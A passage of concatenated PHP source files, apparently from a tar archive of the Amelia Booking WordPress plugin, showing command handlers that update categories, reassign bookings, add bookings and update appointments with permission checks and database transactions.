UpdateCategoryCommandHandler extends CommandHandler { /** * @param UpdateCategoryCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException * @throws InvalidArgumentException */ public function handle(UpdateCategoryCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to update bookable category.'); } $result = new CommandResult(); $category = CategoryFactory::create($command->getFields()); if (!$category instanceof Category) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update bookable category.'); return $result; } /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); if ($categoryRepository->update($command->getArg('id'), $category)) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated bookable category.'); $result->setData([ Entities::CATEGORY => $category->toArray() ]); } return $result; } } Commands/Booking/Appointment/ReassignBookingCommandHandler.php 0000666 00000050605 15165412624 0020605 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Application\Services\Reservation\AppointmentReservationService; use AmeliaBooking\Application\Services\TimeSlot\TimeSlotService as ApplicationTimeSlotService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Appointment\AppointmentFactory; use AmeliaBooking\Domain\Services\Booking\AppointmentDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\DateTime\DateTimeValue; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Exception; use Interop\Container\Exception\ContainerException; /** * Class ReassignBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class ReassignBookingCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'bookingStart' ]; /** * @param ReassignBookingCommand $command * * @return CommandResult * * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws NotFoundException * @throws ContainerException * @throws Exception */ public function handle(ReassignBookingCommand $command) { $this->checkMandatoryFields($command); $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var AppointmentDomainService $appointmentDS */ $appointmentDS = $this->container->get('domain.booking.appointment.service'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); /** @var AppointmentReservationService $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($userAS->isCustomer($user) && !$settingsDS->getSetting('roles', 'allowCustomerReschedule') ) { throw new AccessDeniedException('You are not allowed to update appointment'); } /** @var Appointment $oldAppointment */ $oldAppointment = $reservationService->getReservationByBookingId((int)$command->getArg('id')); $initialBookingStart = $oldAppointment->getBookingStart()->getValue(); $initialBookingEnd = $oldAppointment->getBookingEnd()->getValue(); /** @var CustomerBooking $booking */ $booking = $oldAppointment->getBookings()->getItem((int)$command->getArg('id')); $oldAppointmentStatusChanged = false; /** @var CustomerBooking $oldAppointmentBooking */ foreach ($oldAppointment->getBookings()->getItems() as $oldAppointmentBooking) { if ($userAS->isAmeliaUser($user) && $userAS->isCustomer($user) && ($booking->getId()->getValue() === $oldAppointmentBooking->getId()->getValue()) && ($user->getId() && $oldAppointmentBooking->getCustomerId()->getValue() !== $user->getId()->getValue()) ) { throw new AccessDeniedException('You are not allowed to update appointment'); } } /** @var Service $service */ $service = $bookableAS->getAppointmentService( $oldAppointment->getServiceId()->getValue(), $oldAppointment->getProviderId()->getValue() ); $minimumRescheduleTimeInSeconds = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToRescheduling(); try { $reservationService->inspectMinimumCancellationTime( $oldAppointment->getBookingStart()->getValue(), $minimumRescheduleTimeInSeconds ); } catch (BookingCancellationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('You are not allowed to update booking'); $result->setData( [ 'rescheduleBookingUnavailable' => true ] ); return $result; } $bookingStart = $command->getField('bookingStart'); $bookingStartInUtc = DateTimeService::getCustomDateTimeObject( $bookingStart )->setTimezone(new \DateTimeZone('UTC'))->format('Y-m-d H:i'); if ($command->getField('timeZone') === 'UTC') { $bookingStart = DateTimeService::getCustomDateTimeFromUtc( $bookingStart ); } elseif ($command->getField('timeZone')) { $bookingStart = DateTimeService::getDateTimeObjectInTimeZone( $bookingStart, $command->getField('timeZone') )->setTimezone(DateTimeService::getTimeZone())->format('Y-m-d H:i:s'); } elseif ($command->getField('utcOffset') !== null && $settingsDS->getSetting('general', 'showClientTimeZone') ) { $bookingStart = DateTimeService::getCustomDateTimeFromUtc( $bookingStart ); } /** @var ApplicationTimeSlotService $applicationTimeSlotService */ $applicationTimeSlotService = $this->container->get('application.timeSlot.service'); if (!$applicationTimeSlotService->isSlotFree( $service, DateTimeService::getCustomDateTimeObject( $bookingStart ), $oldAppointment->getProviderId()->getValue(), $oldAppointment->getLocationId() ? $oldAppointment->getLocationId()->getValue() : null, $booking->getExtras()->getItems(), $oldAppointment->getId()->getValue(), $booking->getPersons()->getValue(), true )) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['time_slot_unavailable']); $result->setData( [ 'timeSlotUnavailable' => true ] ); return $result; } /** @var AppointmentReservationService $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); if ($reservationService->checkLimitsPerCustomer($service, $oldAppointmentBooking->getCustomerId()->getValue(), DateTimeService::getCustomDateTimeObject($bookingStart))) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['time_slot_unavailable']); $result->setData( [ 'timeSlotUnavailable' => true ] ); return $result; } /** @var Collection $existingAppointments */ $existingAppointments = $appointmentRepository->getFiltered( [ 'dates' => [$bookingStart, $bookingStart], 'services' => [$oldAppointment->getServiceId()->getValue()], 'providers' => [$oldAppointment->getProviderId()->getValue()] ] ); /** @var Appointment $newAppointment */ $newAppointment = null; /** @var Appointment $existingAppointment */ $existingAppointment = $existingAppointments->length() ? $existingAppointments->getItem($existingAppointments->keys()[0]) : null; if ($existingAppointment && $existingAppointment->getId()->getValue() === $oldAppointment->getId()->getValue() && $existingAppointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') === $oldAppointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') ) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated appointment'); $result->setData( [ Entities::BOOKING => $booking->toArray(), 'newAppointment' => null, 'oldAppointment' => $oldAppointment->toArray(), 'oldAppointmentStatusChanged' => false, 'existingAppointment' => $existingAppointment->toArray(), 'existingAppointmentStatusChanged' => false, ] ); return $result; } if ($existingAppointment && $existingAppointment->getId()->getValue() === $oldAppointment->getId()->getValue() ) { $existingAppointment = null; } $bookingStatus = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getDefaultAppointmentStatus(); $existingAppointmentStatusChanged = false; $appointmentRepository->beginTransaction(); if ($existingAppointment === null && ( $oldAppointment->getBookings()->length() === 1 || $bookingStart === $oldAppointment->getBookingStart()->getValue()->format('Y-m-d H:i') ) ) { $oldAppointment->setBookingStart( new DateTimeValue( DateTimeService::getCustomDateTimeObject( $bookingStart ) ) ); $oldAppointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject($bookingStart) ->modify( '+' . $appointmentAS->getAppointmentLengthTime($oldAppointment, $service) . ' second' ) ) ); if ($oldAppointment->getStatus()->getValue() === BookingStatus::APPROVED && $bookingStatus === BookingStatus::PENDING) { $oldAppointment->setStatus(new BookingStatus($bookingStatus)); $booking->setStatus(new BookingStatus(BookingStatus::PENDING)); $booking->setChangedStatus(new BooleanValueObject(true)); $bookingRepository->updateFieldById( $booking->getId()->getValue(), $bookingStatus, 'status' ); } $paymentAS->updateBookingPaymentDate($booking, $bookingStartInUtc); $appointmentRepository->update($oldAppointment->getId()->getValue(), $oldAppointment); $oldAppointment->setRescheduled(new BooleanValueObject(true)); $reservationService->updateWooCommerceOrder($booking, $oldAppointment); } else { $oldAppointment->getBookings()->deleteItem($booking->getId()->getValue()); if ($existingAppointment !== null) { $booking->setAppointmentId($existingAppointment->getId()); if ($booking->getStatus()->getValue() === BookingStatus::APPROVED && $bookingStatus === BookingStatus::PENDING) { $booking->setStatus(new BookingStatus(BookingStatus::PENDING)); $booking->setChangedStatus(new BooleanValueObject(true)); $bookingRepository->updateFieldById( $booking->getId()->getValue(), $bookingStatus, 'status' ); } $existingAppointment->getBookings()->addItem($booking, $booking->getId()->getValue()); $existingAppointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment( $service, $appointmentDS->getBookingsStatusesCount($existingAppointment) ); $existingAppointmentStatusChanged = $existingAppointment->getStatus()->getValue() !== $existingAppointmentStatus; $existingAppointment->setStatus(new BookingStatus($existingAppointmentStatus)); $existingAppointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject($bookingStart) ->modify( '+' . $appointmentAS->getAppointmentLengthTime($existingAppointment, $service) . ' second' ) ) ); $bookingRepository->updateFieldById( $booking->getId()->getValue(), $existingAppointment->getId()->getValue(), 'appointmentId' ); $paymentAS->updateBookingPaymentDate($booking, $bookingStartInUtc); $appointmentRepository->update($existingAppointment->getId()->getValue(), $existingAppointment); $reservationService->updateWooCommerceOrder($booking, $existingAppointment); } else { $newAppointment = AppointmentFactory::create( array_merge( $oldAppointment->toArray(), [ 'id' => null, 'googleCalendarEventId' => null, 'outlookCalendarEventId' => null, 'zoomMeeting' => null, 'bookings' => [], ] ) ); $newAppointment->getBookings()->addItem($booking, $booking->getId()->getValue()); $newAppointment->setBookingStart( new DateTimeValue( DateTimeService::getCustomDateTimeObject( $bookingStart ) ) ); $newAppointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject($bookingStart) ->modify( '+' . $appointmentAS->getAppointmentLengthTime($newAppointment, $service) . ' second' ) ) ); $newAppointment->setRescheduled(new BooleanValueObject(true)); $newAppointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment( $service, $appointmentDS->getBookingsStatusesCount($newAppointment) ); $newAppointment->setStatus(new BookingStatus($newAppointmentStatus)); $newAppointmentId = $appointmentRepository->add($newAppointment); $newAppointment->setId(new Id($newAppointmentId)); $booking->setAppointmentId(new Id($newAppointmentId)); $bookingRepository->updateFieldById( $booking->getId()->getValue(), $newAppointmentId, 'appointmentId' ); $paymentAS->updateBookingPaymentDate($booking, $bookingStartInUtc); $reservationService->updateWooCommerceOrder($booking, $newAppointment); } if ($oldAppointment->getBookings()->length() === 0) { $appointmentRepository->delete($oldAppointment->getId()->getValue()); $oldAppointment->setStatus(new BookingStatus(BookingStatus::CANCELED)); $oldAppointmentStatusChanged = true; } else { $oldAppointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment( $service, $appointmentDS->getBookingsStatusesCount($oldAppointment) ); $oldAppointmentStatusChanged = $oldAppointment->getStatus()->getValue() !== $oldAppointmentStatus; $oldAppointment->setStatus(new BookingStatus($oldAppointmentStatus)); $oldAppointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject( $oldAppointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify( '+' . $appointmentAS->getAppointmentLengthTime($oldAppointment, $service) . ' second' ) ) ); $appointmentRepository->update($oldAppointment->getId()->getValue(), $oldAppointment); } } $appointmentRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated appointment'); $result->setData( [ Entities::BOOKING => $booking->toArray(), 'newAppointment' => $newAppointment ? $newAppointment->toArray() : null, 'oldAppointment' => $oldAppointment->toArray(), 'oldAppointmentStatusChanged' => $oldAppointmentStatusChanged, 'existingAppointment' => $existingAppointment ? $existingAppointment->toArray() : null, 'existingAppointmentStatusChanged' => $existingAppointmentStatusChanged, 'initialAppointmentDateTime' => [ 'bookingStart' => $initialBookingStart->format('Y-m-d H:i:s'), 'bookingEnd' => $initialBookingEnd->format('Y-m-d H:i:s'), ], ] ); return $result; } } Commands/Booking/Appointment/SuccessfulBookingCommand.php 0000666 00000000437 15165412624 0017651 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class SuccessfulBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class SuccessfulBookingCommand extends Command { } Commands/Booking/Appointment/AddBookingCommand.php 0000666 00000000421 15165412624 0016213 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class AddBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class AddBookingCommand extends Command { } Commands/Booking/Appointment/AddBookingCommandHandler.php 0000666 00000013571 15165412624 0017523 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AddBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class AddBookingCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'bookings', ]; /** * @param AddBookingCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function handle(AddBookingCommand $command) { $this->checkMandatoryFields($command); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get( $command->getField('type') ?: Entities::APPOINTMENT ); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); $appointmentData = $bookingAS->getAppointmentData($command->getFields()); $validateCoupon = true; if ($command->getField('validateCoupon') === false && $this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::COUPONS) ) { $validateCoupon = false; } $reservation = $reservationService->getNew( $validateCoupon, true, true ); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); if ($command->getToken() && $command->getPage() === 'cabinet' && $command->getCabinetType() === Entities::PROVIDER ) { try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getToken(), Entities::PROVIDER ); $reservation->setLoggedInUser($user); } catch (AuthorizationException $e) { $result = new CommandResult(); $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } } if (!empty($appointmentData['bookings'][0]['packageCustomerService']['id']) && $command->getToken()) { try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getToken(), Entities::CUSTOMER ); $reservation->setLoggedInUser($user); } catch (AuthorizationException $e) { $result = new CommandResult(); $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($user->getId()->getValue() !== (int)$appointmentData['bookings'][0]['customer']['id']) { $result = new CommandResult(); $result->setResult(CommandResult::RESULT_ERROR); return $result; } $appointmentData['payment'] = null; $appointmentData['isCabinetBooking'] = true; } else { $appointmentData['isCabinetBooking'] = false; unset($appointmentData['bookings'][0]['packageCustomerService']['id']); } $result = $reservationService->processRequest($appointmentData, $reservation, true); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); if ($settingsService->getSetting('general', 'runInstantPostBookingActions')) { $reservationService->runPostBookingActions($result); } if ($result->getResult() === CommandResult::RESULT_SUCCESS && $reservation) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var AbstractUser $customer */ $customer = $reservation->getCustomer(); if ($customer && $customer->getEmail() && $customer->getEmail()->getValue()) { $data = $result->getData(); $data['customerCabinetUrl'] = $helperService->getCustomerCabinetUrl( $customer->getEmail()->getValue(), $reservation->isNewUser()->getValue() ? 'email' : null, null, null, $reservation->getLocale() ? $reservation->getLocale()->getValue() : '', $reservation->isNewUser()->getValue() ); $result->setData($data); } } return $result; } } Commands/Booking/Appointment/AddAppointmentCommand.php 0000666 00000000431 15165412624 0017122 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class AddAppointmentCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class AddAppointmentCommand extends Command { } Commands/Booking/Appointment/UpdateAppointmentCommandHandler.php 0000666 00000036354 15165412624 0021167 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\CustomField\CustomFieldApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Application\Services\Reservation\AppointmentReservationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Appointment\CustomerBookingFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\DateTime\DateTimeValue; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use AmeliaBooking\Infrastructure\Services\Zoom\ZoomService; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Exception; use Interop\Container\Exception\ContainerException; /** * Class UpdateAppointmentCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class UpdateAppointmentCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'bookings', 'bookingStart', 'notifyParticipants', 'serviceId', 'providerId', 'id' ]; /** * @param UpdateAppointmentCommand $command * * @return CommandResult * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws NotFoundException * @throws ContainerException * @throws Exception */ public function handle(UpdateAppointmentCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var CustomFieldApplicationService $customFieldService */ $customFieldService = $this->container->get('application.customField.service'); /** @var ZoomService $zoomService */ $zoomService = $this->container->get('infrastructure.zoom.service'); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var AppointmentReservationService $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($userAS->isCustomer($user)) { throw new AccessDeniedException('You are not allowed to update appointment'); } if ($userAS->isProvider($user) && !$settingsDS->getSetting('roles', 'allowWriteAppointments')) { throw new AccessDeniedException('You are not allowed to update appointment'); } /** @var Service $service */ $service = $bookableAS->getAppointmentService( $command->getFields()['serviceId'], $command->getFields()['providerId'] ); $appointmentData = $command->getFields(); $appointmentAS->convertTime($appointmentData); /** @var Appointment $appointment */ $appointment = $appointmentAS->build($appointmentData, $service); /** @var Appointment $oldAppointment */ $oldAppointment = $appointmentRepo->getById($appointment->getId()->getValue()); $initialBookingStart = $oldAppointment->getBookingStart()->getValue(); $initialBookingEnd = $oldAppointment->getBookingEnd()->getValue(); /** @var CustomerBooking $newBooking */ foreach ($appointment->getBookings()->getItems() as $newBooking) { /** @var CustomerBooking $oldBooking */ foreach ($oldAppointment->getBookings()->getItems() as $oldBooking) { if ($newBooking->getId() && $newBooking->getId()->getValue() === $oldBooking->getId()->getValue() ) { if ($oldBooking->getUtcOffset()) { $newBooking->setUtcOffset($oldBooking->getUtcOffset()); } if ($oldBooking->getCreated()) { $newBooking->setCreated($oldBooking->getCreated()); } if ($oldBooking->getInfo()) { $newBooking->setInfo($oldBooking->getInfo()); } if ($oldBooking->getStatus()->getValue() === $newBooking->getStatus()->getValue()) { $newBooking->setUpdated( new BooleanValueObject( $appointmentAS->appointmentDetailsChanged($appointment, $oldAppointment) || $appointmentAS->bookingDetailsChanged($newBooking, $oldBooking) ) ); } } } } $appointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject( $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify('+' . $appointmentAS->getAppointmentLengthTime($appointment, $service) . ' second') ) ); $appointmentEmployeeChanged = null; $appointmentZoomUserChanged = false; $appointmentZoomUsersLicenced = false; if ($appointment->getProviderId()->getValue() !== $oldAppointment->getProviderId()->getValue()) { $appointmentEmployeeChanged = $oldAppointment->getProviderId()->getValue(); $provider = $providerRepository->getById($appointment->getProviderId()->getValue()); $oldProvider = $providerRepository->getById($oldAppointment->getProviderId()->getValue()); if ($provider && $oldProvider && $provider->getZoomUserId() && $oldProvider->getZoomUserId() && $provider->getZoomUserId()->getValue() !== $oldProvider->getZoomUserId()->getValue()) { $appointmentZoomUserChanged = true; $zoomUserType = 0; $zoomOldUserType = 0; $zoomResult = $zoomService->getUsers(); if (!(isset($zoomResult['code']) && $zoomResult['code'] === 124) && !($zoomResult['users'] === null && isset($zoomResult['message']))) { $zoomUsers = $zoomResult['users']; foreach ($zoomUsers as $key => $val) { if ($val['id'] === $provider->getZoomUserId()->getValue()) { $zoomUserType = $val['type']; } if ($val['id'] === $oldProvider->getZoomUserId()->getValue()) { $zoomOldUserType = $val['type']; } } } if ($zoomOldUserType > 1 && $zoomUserType > 1) { $appointmentZoomUsersLicenced = true; } } } if ($oldAppointment->getZoomMeeting()) { $appointment->setZoomMeeting($oldAppointment->getZoomMeeting()); } if ($bookingAS->isBookingApprovedOrPending($appointment->getStatus()->getValue()) && $bookingAS->isBookingCanceledOrRejectedOrNoShow($oldAppointment->getStatus()->getValue()) ) { /** @var AbstractUser $user */ $user = $this->container->get('logged.in.user'); if (!$appointmentAS->canBeBooked($appointment, $userAS->isCustomer($user))) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['time_slot_unavailable']); $result->setData( [ 'timeSlotUnavailable' => true ] ); return $result; } } $appointment->setGoogleCalendarEventId($oldAppointment->getGoogleCalendarEventId()); $appointment->setGoogleMeetUrl($oldAppointment->getGoogleMeetUrl()); $appointment->setOutlookCalendarEventId($oldAppointment->getOutlookCalendarEventId()); $appointmentRepo->beginTransaction(); /** @var Collection $removedBookings */ $removedBookings = new Collection(); foreach ($command->getField('removedBookings') as $removedBookingData) { $removedBookings->addItem(CustomerBookingFactory::create($removedBookingData), $removedBookingData['id']); } $paymentData = null; $bookingAdded = $bookingAS->isBookingAdded($appointment->getBookings()); /** @var CustomerBooking $booking */ foreach ($oldAppointment->getBookings()->getItems() as $oldBooking) { if ($appointment->getServiceId()->getValue() !== $oldAppointment->getServiceId()->getValue() && !$appointmentAS->processPackageAppointmentBooking( $oldBooking, $removedBookings, $appointment->getServiceId()->getValue(), $paymentData ) ) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['package_booking_unavailable']); $result->setData( [ 'packageBookingUnavailable' => true ] ); return $result; } } try { $appointmentAS->update( $oldAppointment, $appointment, $removedBookings, $service, $paymentData = array_merge($command->getField('payment'), ['isBackendBooking' => true]) ); } catch (QueryExecutionException $e) { $appointmentRepo->rollback(); throw $e; } $appointmentRepo->commit(); $appointmentStatusChanged = $appointmentAS->isAppointmentStatusChanged($appointment, $oldAppointment); $appRescheduled = $appointmentAS->isAppointmentRescheduled($appointment, $oldAppointment); if ($appRescheduled) { $appointment->setRescheduled(new BooleanValueObject(true)); foreach ($appointment->getBookings()->getItems() as $booking) { $paymentAS->updateBookingPaymentDate( $booking, $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') ); } } if ($appointmentStatusChanged) { $appointmentStatus = $appointment->getStatus()->getValue(); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if ($booking->getStatus()->getValue() === BookingStatus::APPROVED && ($appointmentStatus === BookingStatus::PENDING || $appointmentStatus === BookingStatus::APPROVED) ) { $booking->setChangedStatus(new BooleanValueObject(true)); } } } $appointmentArray = $appointment->toArray(); $oldAppointmentArray = $oldAppointment->toArray(); $bookingsWithChangedStatus = $bookingAS->getBookingsWithChangedStatus($appointmentArray, $oldAppointmentArray); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $reservationService->updateWooCommerceOrder($booking, $appointment); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated appointment'); $result->setData( [ Entities::APPOINTMENT => $appointmentArray, 'appointmentStatusChanged' => $appointmentStatusChanged, 'appointmentRescheduled' => $appRescheduled, 'initialAppointmentDateTime' => [ 'bookingStart' => $initialBookingStart->format('Y-m-d H:i:s'), 'bookingEnd' => $initialBookingEnd->format('Y-m-d H:i:s'), ], 'bookingsWithChangedStatus' => $bookingsWithChangedStatus, 'appointmentEmployeeChanged' => $appointmentEmployeeChanged, 'appointmentZoomUserChanged' => $appointmentZoomUserChanged, 'bookingAdded' => $bookingAdded, 'appointmentZoomUsersLicenced' => $appointmentZoomUsersLicenced, 'createPaymentLinks' => $command->getField('createPaymentLinks') ] ); $customFieldService->deleteUploadedFilesForDeletedBookings( $appointment->getBookings(), $oldAppointment->getBookings() ); return $result; } } 